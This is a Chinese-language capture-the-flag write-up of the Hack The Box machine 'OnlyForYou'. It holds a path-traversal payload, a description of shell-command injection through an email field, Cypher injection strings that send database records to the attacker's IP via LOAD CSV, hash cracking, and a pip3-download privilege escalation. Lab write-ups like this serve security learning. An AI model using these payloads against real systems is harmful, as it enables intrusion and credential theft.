五一假期玩的真开心,还是写一下题解吧,重新复习一下。别的不说,这个名字起的挺好的。only4u
心得:拿到源码最好还是动态的搭建测试一下,不要光静态审计,有时候你就是很难发现问题所在。
| sudo nmap -sCV -T4 -p- 10.10.11.209 -o target |
结果如下:
| # Nmap 7.93 scan initiated Sun Apr 23 18:56:02 2023 as: nmap -sCVS -T5 -Pn -p- -v -oN target 10.10.11.210 |
| Nmap scan report for 10.10.11.210 |
| Host is up (0.23s latency). |
| Not shown: 65533 closed tcp ports (reset) |
| PORT STATE SERVICE VERSION |
| 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| | ssh-hostkey: |
| | 3072 e883e0a9fd43df38198aaa35438411ec (RSA) |
| | 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA) |
| |_ 256 445f7aa377690a77789b04e09f11db80 (ED25519) |
| 80/tcp open http nginx 1.18.0 (Ubuntu) |
| |_http-title: Did not follow redirect to http: |
| | http-methods: |
| |_ Supported Methods: GET HEAD POST OPTIONS |
| |_http-server-header: nginx/1.18.0 (Ubuntu) |
| Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel |
| |
| Read data files from: /usr/bin/../share/nmap |
| Service detection performed. Please report any incorrect results at https: |
| # Nmap done at Sun Apr 23 18:58:52 2023 -- 1 IP address (1 host up) scanned in 170.01 seconds |
用 wfuzz 很快找到 beta.only4you.htb
| └─# cat subdomain.txt |
| Target: http://only4you.htb/ |
| Total requests: 8215 |
| ================================================================== |
| ID Response Lines Word Chars Request |
| ================================================================== |
| 00861: C=200 51 L 145 W 2190 Ch "beta - beta" |
| |
| Total time: 0 |
| Processed Requests: 8215 |
| Filtered Requests: 8214 |
| Requests/sec.: 0 |
由于主站并没有发现什么功能点,因此直接访问子域名的站点,发现一个下载源码的功能。那么就很爽快的下载了下来。
是 Flask 框架搭建的 Web 服务。功能点也不多,但是其中一个路由显得很蹊跷。 download 功能有点奇怪,别的路由函数功能都 filename
进行了 secure_filename
处理,唯独他
| @app.route('/download', methods=['POST']) |
| def download(): |
| image = request.form['image'] |
| filename = posixpath.normpath(image) |
| if '..' in filename or filename.startswith('../'): |
| flash('Hacking detected!', 'danger') |
| return redirect('/list') |
| if not os.path.isabs(filename): |
| filename = os.path.join(app.config['LIST_FOLDER'], filename) |
| try: |
| if not os.path.isfiRle(filename): |
| flash('Image doesn\'t exist!', 'danger') |
| return redirect('/list') |
| except (TypeError, ValueError): |
| raise BadRequest() |
| return send_file(filename, as_attachment=True) |
有几个函数不太常见,查了一下文档
normpath
isabs
于是经过测试发现,如果我们传入的 filename 开头是 /
就可以绕过所谓的检测了,并且接着/../
就不会被 isabs
函数认定为是绝对路径
既然如此,那么我们就可以构造出能够任意下载文件的 Payload,比如:
| image=/../../../../../etc/passwd |
这里注意到存在以下几个非 root 用户能够登录
| john:x:1000:1000:john:/home/john:/bin/bash |
| lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false |
| mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false |
| neo4j:x:997:997::/var/lib/neo4j:/bin/bash |
| dev:x:1001:1001::/home/dev:/bin/bash |
分别是 john
、neo4j
、dev
当我读取了 /etc/nginx/sites-enabled/default
,我可以知道绝对路径
| server { |
| listen 80; |
| return 301 http://only4you.htb$request_uri; |
| } |
| |
| server { |
| listen 80; |
| server_name only4you.htb; |
| |
| location / { |
| include proxy_params; |
| proxy_pass http://unix:/var/www/only4you.htb/only4you.sock; |
| } |
| } |
| |
| server { |
| listen 80; |
| server_name beta.only4you.htb; |
| |
| location / { |
| include proxy_params; |
| proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock; |
| } |
| } |
既然子域名站点都是用 Python 了,那么主站也十有八九也是 Python。然后我尝试读取主站源码 image=/../../../../../var/www/only4you.htb/app.py
| from flask import Flask, render_template, request, flash, redirect |
| from form import sendmessage |
| import uuid |
| |
| app = Flask(__name__) |
| app.secret_key = uuid.uuid4().hex |
| |
| @app.route('/', methods=['GET', 'POST']) |
| def index(): |
| if request.method == 'POST': |
| email = request.form['email'] |
| subject = request.form['subject'] |
| message = request.form['message'] |
| ip = request.remote_addr |
| |
| status = sendmessage(email, subject, message, ip) |
| if status == 0: |
| flash('Something went wrong!', 'danger') |
| elif status == 1: |
| flash('You are not authorized!', 'danger') |
| else: |
| flash('Your message was successfuly sent! We will reply as soon as possible.', 'success') |
| return redirect('/#contact') |
| else: |
| return render_template('index.html') |
| |
| @app.errorhandler(404) |
| def page_not_found(error): |
| return render_template('404.html'), 404 |
| |
| @app.errorhandler(500) |
| def server_errorerror(error): |
| return render_template('500.html'), 500 |
| |
| @app.errorhandler(400) |
| def bad_request(error): |
| return render_template('400.html'), 400 |
| |
| @app.errorhandler(405) |
| def method_not_allowed(error): |
| return render_template('405.html'), 405 |
| |
| if __name__ == '__main__': |
| app.run(host='127.0.0.1', port=80, debug=False) |
发现 from form import send
, 接着读取 form.py
| |
| import smtplib, re |
| from email.message import EmailMessage |
| from subprocess import PIPE, run |
| import ipaddress |
| |
| def issecure(email, ip): |
| if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): |
| return 0 |
| else: |
| domain = email.split("@", 1)[1] |
| result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) |
| output = result.stdout.decode('utf-8') |
| if "v=spf1" not in output: |
| return 1 |
| else: |
| domains = [] |
| ips = [] |
| if "include:" in output: |
| dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") |
| dms.pop(0) |
| for domain in dms: |
| domains.append(domain) |
| while True: |
| for domain in domains: |
| result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) |
| output = result.stdout.decode('utf-8') |
| if "include:" in output: |
| dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") |
| domains.clear() |
| for domain in dms: |
| domains.append(domain) |
| elif "ip4:" in output: |
| ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") |
| ipaddresses.pop(0) |
| for i in ipaddresses: |
| ips.append(i) |
| else: |
| pass |
| break |
| elif "ip4" in output: |
| ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") |
| ipaddresses.pop(0) |
| for i in ipaddresses: |
| ips.append(i) |
| else: |
| return 1 |
| for i in ips: |
| if ip == i: |
| return 2 |
| elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): |
| return 2 |
| else: |
| return 1 |
| |
| def sendmessage(email, subject, message, ip): |
| status = issecure(email, ip) |
| if status == 2: |
| msg = EmailMessage() |
| msg['From'] = f'{email}' |
| msg['To'] = 'info@only4you.htb' |
| msg['Subject'] = f'{subject}' |
| msg['Message'] = f'{message}' |
| |
| smtp = smtplib.SMTP(host='localhost', port=25) |
| smtp.send_message(msg) |
| smtp.quit() |
| return status |
| elif status == 1: |
| return status |
| else: |
| return status |
来回反复看了好几遍怎么也发现不了问题所在,到最后测试才发现是他的正则表达式和逻辑写错了。
首先是正则表达式,源码时这么匹配 email 的:
| ([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.([A-Z|a-z]){2,}) |
乍一看很正确,实际上它可以匹配
正确的正则表达式写法:
| ([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.([A-Z]|[a-z]){2,}) |
但是这也不是主要的,代码逻辑上面也出现了问题
| if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): |
| return 0 |
| else: |
| domain = email.split("@", 1)[1] |
| result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) |
也就是只要 email 的字符串中存在匹配正则表达式的一部分,就会返回真。也就是可以直接拼接。而且 subprocess.run 中的 shell 又设置为了 True,导致直接将字符串当作命令执行,可以执行多条 shell 语句。只有当设置为 False 只接受数组变量作为命令,并将数组的第一个元素作为命令,剩下的全部作为该命令的参数。也就是至多执行一条命令。
直接反弹 shell
一套行云流水
| $ which python3 |
| $ python3 -c 'import pty;pty.spawn("/bin/bash")' |
| $ ^Z |
| ┌──(kali㉿kali)-[~] |
| └─$ stty raw -echo; fg |
可以发现监听了 3000 端口和 8001 端口
端口转发出来发现。
3000 端口是一个 gogs 服务,但是不知道密码,也不知道版本号,没看见仓库内容。只能够知道有两个用户
8001 端口是内网 app
BurpSuite 发现回显包是一个 gunicorn/20.0.4
https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/
嗯,然后我就搞了好久好久的请求走私
| GET /login HTTP/1.1 |
| Host: 10.10.14.46:8001 |
| Content-Length: 79 |
| Sec-Websocket-Key1: x |
| |
| xxxxxxxxGET /dashboard HTTP/1.1 |
| Host: 10.10.14.46:8001 |
| Content-Length: 51 |
| |
| GET /dashboard HTTP/1.1 |
| Host: 10.10.14.46:8001 |
| |
结果一点用的没有
然后别人是靠弱密码 admin:admin
进去的,真的服了
发现存在一个搜索框功能还有 neo4j?
于是测试搜索框看是否有注入
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections
| ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.46:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // |
结果
获得标签:
| ' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.46:8000/?l='+label as l RETURN 0 as _0 // |
然后开始查内容:
| ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.46:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // |
可以看到
有两组密码
| 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 |
| a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 |
两个用户
去 https://hashes.com/en/tools/hash_identifier 检测发现是 SHA256 加密方式
用 hashcat 很快破解出来两个密码
| hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt |
| 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin |
| a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You |
这个时候直接 ssh 上去好了
直接获得第一个 flag
直接 sudo -l 查看
谷歌搜索pip3 download exploit
参考
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
大概就是在 setup.py 处修改执行时候的代码,然后将其打包为 tar.gz 的时候,等别人 download 就会执行被修改的代码。
本地打包
会在生成一个 dist 目录,在该目录下有我们需要的 tar.gz
稍微起一个 http 服务进行本地测试
直接复现成功。
回到靶机上。
在 gogs 上新建仓库然后上传压缩包
然后
| sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/exp/raw/master/this_is_fine_wuzzi-0.0.3.tar.gz |
注意 url 是 raw
然后就提权成功了,bash -p
即可获得最后的 flag